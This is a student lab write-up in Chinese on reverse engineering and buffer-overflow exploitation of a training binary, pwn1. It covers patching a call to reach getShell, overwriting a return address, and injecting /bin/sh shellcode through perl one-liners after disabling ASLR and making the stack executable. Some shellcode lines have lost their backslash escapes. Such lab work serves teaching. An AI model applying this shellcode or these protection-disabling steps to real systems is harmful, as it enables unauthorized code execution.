zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165321 Exp1 PC平台逆向破解

    1. 逆向及Bof基础实践说明

    1.1 实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

    1.2实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
    这几种思路,基本代表现实情况中的攻击目标:
    运行原本不可访问的代码片段
    强行修改程序执行流
    以及注入运行任意代码。

    1.3 基础知识

    1.3.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:机器码:90。类似一个空指令,执行时CUP什么都不做,执行过这条指令在执行下一条指令。
    JNE:机器码:75。如果条件不相等跳转到要跳转的位置。
    JE:机器码:74。如果条件相等则跳转。
    JMP:机器码:EB。直接跳转到所需跳转的位置。
    补:段内直接短转Jmp short 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    CMP:类似通过对操作数做减法来比较操作数的指令,只做比较不保存结果。会对标志寄存器产生影响。

    1.3.2掌握反汇编与十六进制编程器

    2. 直接修改程序机器指令,改变程序执行流程

    实验点1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    • cp pwn1 pwn2 拷贝pwn1为pwn2;
    • 使用objdump -d pwn2将pwn2反汇编;
    • vi pwn2进入编辑器,输入:%!xxd将显示模式切换为十六进制,准备进行修改;
    • 在底行模式输入/e8d7定位需要修改的地方,确认并按i进入插入模式,修改d7为c3;
      这部分的图没有截
    • 可找到80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令,这条指令就是在main函数中调用位于地址8048491处的foo函数,e8表示“call”,d7 ff ff ff是地址。因此,我们想让函数调用getShell,只需将其修改为c3 ff ff ff;
    • 输入:%!xxd -r将十六进制转换为原格式,再输入:wq!保存并退出;
    • 输入./pwn2,即运行修改后的代码,可以得到shell提示符;

    3. 通过构造输入参数,造成BOF攻击,改变程序执行流

    3.1 反汇编,了解程序的基本功能

    3.2 确认输入字符串哪几个字符会覆盖到返回地址

    截图:



    3.3 确认用什么值来覆盖返回地址

    3.4 构造输入字符串

    截图:

    4. 注入Shellcode并执行

    一开始我只管输入execstack命令,系统一直提示无命令,后来才知道execstack命令需要安装,于是apt-get install execstack,终于可以使用execstack命令。

    4.1 准备工作

    • 设置堆栈可执行:
      execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行
    • 关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
      more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
      “2”为开启,“0”为关闭

    4.2 构造要注入的payload

    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 在一个窗口运行(cat input_shellcode;cat) | ./pwn3
    • 在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为3094
    • 在gdb里面attach 3094进行调试
    • disassemble foo反编译
    • 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
    • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
    • 再在gdb调试的终端输入c继续运行程序
    • info r esp查看esp寄存器地址
    • x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容
    • 从上图中看到01020304所在的地址为0xbffff21c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xbffff21c + 0x00000004 = 0xbffff220。随后退出gdb调试。
    • 修改注入代码的覆盖地址
      perl -e 'print "A" x 32;print"x20xf2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • 输入命令(cat input_shellcode;cat) | ./pwn4
  • 相关阅读:
    geodatabase在sql server和Oracle上的应用
    python:AttributeError: module 'xxxx' has no attribute 'xxxxx'
    sql server复制一张表到另一张表
    pyodbc:Python使用pyodbc访问数据库操作方法
    python如何生成token
    WebGIS应用案例
    SAP UI5 里如何让每次视图显示时都执行某方法
    使用开源微前端框架 Luigi 创建一个基于微前端架构的工程
    关于 SAP 产品 UI 的搜索引擎优化 SEO
    Debug a Server–Side Rendered SAP Spartacus Storefront Using Chrome Dev Tools
  • 原文地址:https://www.cnblogs.com/xpl20165321/p/10519682.html
Copyright © 2011-2022 走看看